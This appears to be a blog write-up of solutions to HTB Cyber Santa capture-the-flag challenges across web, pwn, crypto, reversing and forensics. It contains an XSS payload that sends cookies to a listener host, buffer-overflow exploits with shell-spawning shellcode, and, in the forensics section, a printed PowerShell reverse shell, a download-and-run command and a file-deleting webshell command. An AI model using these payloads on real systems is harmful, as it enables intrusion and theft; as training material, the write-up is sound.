This year, Santa went digital and hired a bunch of tech elves to update his
infra. Unfortunately, some of them were malicious elves who compromised
Santa’s data warehouse in the North Pole!
Web
Toy Workshop ★☆☆☆
Challenge Info
The work is going well on Santa’s toy workshop but we lost contact with the manager in charge! We suspect the evil elves have taken over the workshop, can you talk to the worker elves and find out?
Challenge Plan
First let’s have a look at the source code:
router.post('/api/submit', async (req, res) => {
const { query } = req.body;
if(query){
return db.addQuery(query)
.then(() => {
bot.readQueries(db);
res.send(response('Your message is delivered successfully!'));
});
}
return res.status(403).send(response('Please write your query first!'));
});
We can submit “queries” via the /api/submit endpoint.
const cookies = [{
'name': 'flag',
'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}'
}];
const readQueries = async (db) => {
const browser = await puppeteer.launch(browser_options);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
await page.goto('http://127.0.0.1:1337/');
await page.setCookie(...cookies);
await page.goto('http://127.0.0.1:1337/queries', {
waitUntil: 'networkidle2'
});
await browser.close();
await db.migrate();
};
And then there is a bot visiting the /queries endpoint where he will see our submitted queries. The flag is hidden within it’s cookie. So this is a classic XSS challenge where we need to steal bots cookie.
The attack should be straight forward. We submit a query with a malicious javascript that will send the users cookies to us.
Challenge Solution
After creating a burp collaborator or a netcat listener or pretty much anything that displays requests to you, we just submit this query via burp suite:
POST /api/submit HTTP/1.1
Host: 206.189.124.137:30116
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/json
Content-Length: 155
{"query":"<script type="text/javascript">document.location="http://[redacted.com]/?c="+document.cookie;</script>"}
[redacted.com] is our IP/URL from the listener/burp collaborator. Now we just wait until we see this request displaying the flag in our collaborator:

Toy Management ★☆☆☆
Challange Info
The evil elves have changed the admin access to Santa’s Toy Management Portal. Can you get the access back and save the Christmas?
Challenge Solution
Opening the given connection in our browser greets us with a login page. So let’s have a look at the given source first.

We find the fake flag in the source inside of the database next to the other toys. Notice the at the end of each row. 1 stands for normal user and 0 for admin. So when we access the toylist as admin we can retrieve the flag. Let’s double check that in the source code:

Seems to be right. Running SQLmap against the login page dumps the admin password:

Now we can crack it with crackstation:

After logging in with the admin account we can see the flag on the toylist:

Pwn
Mr Snowy ★☆☆☆
Challenge Info
There is ❄️ snow everywhere!! Kids are playing around, everything looks amazing. But, this ☃️ snowman… it scares me.. He is always 👀 staring at Santa’s house. Something must be wrong with him.
Challenge Plan
First I investigate the binary in ghidra and quickly find an interesting function:

It looks like this is the function that opens the flag which we are looking for. I expect here a buffer overflow because this is an easy challenge, so we will try to jump to the deactivate_camera function.
I continue with gdb-peda and create a 200 character long pattern with it and send it against the binary. The first input doesn’t seem to be vulnerable to a buffer overflow, but if we continue with option 1 to the second question we get lucky:

We can see our pattern overflew into the RBP and RSP and the RIP points to a ret. The return will pop the RSP and write the adress there into the RIP. The RIP indicates where the program continues. So basically we only need to write the adress of the deactivate_camera function into the RSP and it should jump there. Now we only need that adress and the offset of the pattern inside the RSP. So I use pattern search
to find the offsets.

We can see the offset in the RSP being at 72. So after 72 bytes we can send the adress which we find out using info functions
inside gdb-peda:

Let’s craft our payload with python like this:
choice = "1"
buf = "A"*73
adress = b"x65x11x40x00x00x00x00x00"
print choice + buf + adress
Now we just run: python exploit.py > f
and send it to the docker instance with this (cat f; cat -) | nc x.x.x.x xxxx

Sleigh ★☆☆☆
Challenge Info
The Elves have messed up with Santa’s sleigh! Without it, he will not be able to deliver any gifts!! Help him repair it and save the holidays!
Challenge Solution
I use gdb-peda to analyze the file. With pattern create 200
I create a 200 characters long pattern. After some fiddeling around I figured out that the second question is vulnerable to a buffer overflow. So I send the pattern there. After the SEGFAULT I use pattern search
to find the offset.
This is all we need to craft our payload. We use a shellcode from the internet which spawns /bin/bash and pad it to match the 72 bytes offset. Following the shellcode and the padding comes the return adress. Luckily the binary tells us where the stack begins so we can just use that adress. This is what the final exploit looks like:
from pwn import *
r = remote('138.68.133.230', 31686)
r.recvuntil(b'>')
r.sendline(b'1')
r.recvuntil(b'!')
r.recvuntil(b'[')
add = r.recvuntil(b']')
print(add)
add = int(add[2:-1],16)
add = p64(add, endian='little')
print('### Given address:')
print(add)
r.recvuntil(b'>')
shellcode = b"x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05"
pad = b"x41"*(72-len(shellcode))
r.sendline(shellcode+pad+add)
r.interactive()
Now we can just run cat flag.txt
to retrieve the flag.
Crypto
Common Mistake ★☆☆☆
Challenge Info
Elves are trying very hard to communicate in perfect secrecy in order to keep Santa’s warehouse. Unfortunately, their lack of knowledge about cryptography leads them to common mistakes.
Challenge Solution
The common mistake here is that the elves used the same modulus but different exponent to encrypt the plaintext. We can simply use tools like this one to retrieve the flag. That specific tool requires the public keys in PEM format, so I wrote this little script to create those:
from Crypto.PublicKey import RSA
n = b"0xa96e6f96f6aedd5f9f6a169229f11b6fab589bf6361c5268f8217b7fad96708cfbee7857573ac606d7569b44b02afcfcfdd93c21838af933366de22a6116a2a3dee1c0015457c4935991d97014804d3d3e0d2be03ad42f675f20f41ea2afbb70c0e2a79b49789131c2f28fe8214b4506db353a9a8093dc7779ec847c2bea690e653d388e2faff459e24738cd3659d9ede795e0d1f8821fd5b49224cb47ae66f9ae3c58fa66db5ea9f73d7b741939048a242e91224f98daf0641e8a8ff19b58fb8c49b1a5abb059f44249dfd611515115a144cc7c2ca29357af46a9dc1800ae9330778ff1b7a8e45321147453cf17ef3a2111ad33bfeba2b62a047fa6a7af0eef"
e = b"0x10001"
public = RSA.construct((int(n,0),int(e,0)))
pub_key = public.exportKey('PEM')
pub_out = open("pub_key1.pem","wb")
pub_out.write(pub_key)
pub_out.close()
e = b"0x23"
public = RSA.construct((int(n,0),int(e,0)))
pub_key = public.exportKey('PEM')
pub_out = open("pub_key2.pem","wb")
pub_out.write(pub_key)
pub_out.close()
Also you need the ciphertexts to be base64 encoded, I used cyberchef for that. From HEX to Base64. Then you can just run: python3 rsa-cm.py -c1 ../message1.b64 -c2 ../message2.b64 -k1 ../pub_key1.pem -k2 ../pub_key2.pem

XMAS Spirit ★☆☆☆
Challenge Info
Now that elves have taken over Santa has lost so many letters from kids all over the world. However, there is one kid who managed to locate Santa and sent him a letter. It seems like the XMAS spirit is so strong within this kid. He was so smart that thought of encrypting the letter in case elves captured it. Unfortunately, Santa has no idea about cryptography. Can you help him read the letter?
Challenge Solution
We were given two files, the resulting encrypted.bin and this challenge.py which is the python script that took the plaintext letter.pdf and created the encrypted.bin.
#!/usr/bin/python3
import random
from math import gcd
def encrypt(dt):
mod = 256
while True:
a = random.randint(1,mod)
if gcd(a, mod) == 1: break
b = random.randint(1,mod)
res = b''
for byte in dt:
enc = (a*byte + b) % mod
res += bytes([enc])
return res
dt = open('letter.pdf', 'rb').read()
res = encrypt(dt)
f = open('encrypted.bin', 'wb')
f.write(res)
f.close()
The above script creates two variables: a and b, which are coprime and smaller than 256. Afterwards it takes every byte from the letter.pdf and translates it using this line: enc = (a*byte + b) % mod
We now know two very important thing:
- a and b are very small
- the plaintext file is a pdf file
Because we know that the original file was a pdf file we also know the first five bytes because of magic numbers and because a and b are very small it means that we can bruteforce them.
I wrote this little python code to get a and b:
magic = b"x25x50x44x46x2D"
ct = b"x0Dx70x84xD6x55"
matched = 0
for a in range(256):
if gcd(a, 256) == 1:
for b in range(256):
for i in range(len(magic)):
if ((a*magic[i] + b) % 256) == ct[i]:
matched = matched + 1
if matched == 5:
print(a)
print(b)
else:
matched = 0
The magic byte string are the magic numbers of a pdf file and the ct byte string are the first five bytes of our encrypted.bin.
We then use the same code from the original challenge.py with every possible a and b and do this until all five bytes match. We get 169 for a and 160 for b.
We can then do the same approach to recreate the original file. This time we try all bytes as the original byte until it matches the resulting byte. That way we can enumerate the whole original pdf.
mod = 256
a = 169
b = 160
dt = open('encrypted.bin', 'rb').read()
counter = 0
output = b''
for byte in dt:
counter += 1
if counter%1000 == 0:
print(counter)
for i in range(mod):
res = (169*i+160) % 256
if res == byte:
#print(i)
output += bytes([i])
f = open('decrypted.pdf', 'wb')
f.write(output)
f.close()

Further Thinking
We can optimize this process by creating a map for all possible bytes and then use that on the encrypted.bin. This way we only need to “translate” 256 bytes instead of translating every single one of the encrypted.bin.
mod = 256
a = 169
b = 160
dt = open('encrypted.bin', 'rb').read()
byte_map = {}
for i in range(mod):
res = (a*i+b) % 256
byte_map[res] = i
output = []
for byte in dt:
output.append(byte_map[byte])
f = open('decrypted.pdf', 'wb')
f.write(bytes(output))
f.close()
Reversing
Infiltration ★☆☆☆
Challenge Info
We got a hold of an internal communication tool being used by the elves, and managed to hook it up to their server. However, it won’t let us see their secrets? Can you take a look inside?
Challenge Solution
We are given a binary called “client”. It took me a minute to figure out we are supposed to use that client to connect to the given docker instance. I wasted some time trying to decompile the binary with ghidra and IDA but since I didn’t find anything interesting there I just intercepted the traffic from the binary talking to the docker instance with wireshark:

Gift Wrapping ★☆☆☆
Challenge Info
The elves won’t let you into their secret hideout without the password. Luckily, they’ve given it to you as a gift! But it seems to be wrapped up tight…
Challenge Solution
Having a look at the binary I find a lot of references to upx so I use upx -d
to decompress it.
Now I decompiled the binary with ghidra and found this interesting function:

It is a little bit hard to read so I have a look at it with IDA indeed it looks a lot better:

So our input gets XORed with 0xF3 and if the resulting bytes matches whatever CHECK is we have the password. CHECK looks a lot better in ghidra so I attached a screenshot of it:

We can now translate these bytes with cyberchef by XORing them with 0xF3 and we get the flag:

Forensics
baby APT ★☆☆☆
Challenge Info
This is the most wonderful time of the year, but not for Santa’s incident response team. Since Santa went digital, everyone can write a letter to him using his brand new website. Apparently an APT group hacked their way in to Santa’s server and destroyed his present list. Could you investigate what happened?
Challenge Solution
Even though this is a pcap file which I would usually analyze with wireshark I just ran strings -n5 chistmaswishliust.pcap
on the file and saw an interesting output:
cmd=rm++%2Fvar%2Fwww%2Fhtml%2Fsites%2Fdefault%2Ffiles%2F.ht.sqlite+%26%26+echo+SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59+%3E+%2Fdev%2Fnull+2%3E%261+%26%26+ls+-al++%2Fvar%2Fwww%2Fhtml%2Fsites%2Fdefault%2Ffiles`
It looks like someone uploaded a php-webshell to a vulnerable website and executed this payload. Base64 decoding it reveals the flag:
HTB{0k_n0w_3v3ry0n3_h4s_t0_dr0p_0ff_th3ir_l3tt3rs_4t_th3_p0st_0ff1c3_4g41n}
Honeypot ★☆☆☆
Challenge Info
Santa really encourages people to be at his good list but sometimes he is a bit naughty himself. He is using a Windows 7 honeypot to capture any suspicious action. Since he is not a forensics expert, can you help him identify any indications of compromise?
- Find the full URL used to download the malware.
- Find the malicious’s process ID.
- Find the attackers IP
Flag Format: HTB{echo -n “http://url.com/path.foo_PID_127.0.0.1” | md5sum} Download Link: http://46.101.25.140/forensics_honeypot.zip
Challenge Solution
We are given a Windows 7 memory dump and chose volatility to analyze it. First we need to find the matching profile, we already know it is Windows 7 from the challenges info, but for the sake of it we use the default approach like we didn’t know it. To do so we run ./volatility_2.6_lin64_standalone -f /home/kali/Desktop/honeypot.raw kdbgscan

We have three pretty similiar profile suggestions and my guess would be that it doesn’t matter which one we chose. So in the following we set --profile=Win7SP1x86.
You can also set an environmental variable like this so you don’t need to set it every time you run a command: export VOLITILITY_PROFILE=Win7SP1x86
.
First let’s have a look at the running processes:
./volatility_2.6_lin64_standalone -f /home/kali/Desktop/honeypot.raw --profile=Win7SP1x86 cmdline

The encoded command being run by powershell looks promising. Base64 decoded it looks like this: iex ((new-object net.webclient).downloadstring('https://windowsliveupdater.com/update.ps1')).
This seems to be the malicious call. So we note the PID 2700. For the longest time I thought this was also needed URL but it’s just a redirect to a rick roll video *sigh*.
To find out more about the original URL I ran this simple yarascan: ./volatility_2.6_lin64_standalone -f /home/kali/Desktop/honeypot.raw --profile=Win7SP1x86 yarascan -Y "https://"

This is our URL: https://windowsliveupdater.com/christmas_update.hta
. Now we only need the IP. To get the IP we can have a look at the netscan
command:

I already assumed the ip connected with port 4444 to be the one I was looking for, but to be completeley sure we extract the whole update.ps1 from the memory dump using vim:
$client = New-Object System.Net.Sockets.TCPClient('147.182.172.189',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$send back = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Now have everything needed to construct the flag:
HTB{echo -n "https://windowsliveupdater.com/christmas_update.hta_2700_147.182.172.189" | md5sum}
Other Write-Ups
Unfortunately I didn’t have time to finish more challenges during HTB Cyber Santa is Coming to Town, because my team participated in a CTF. However if you are interested in the remaining challenges I can recommend CryptoCats series on youtube: https://www.youtube.com/watch?v=20FkOdoMiRU or just look at CTFTime: https://ctftime.org/event/1523/tasks/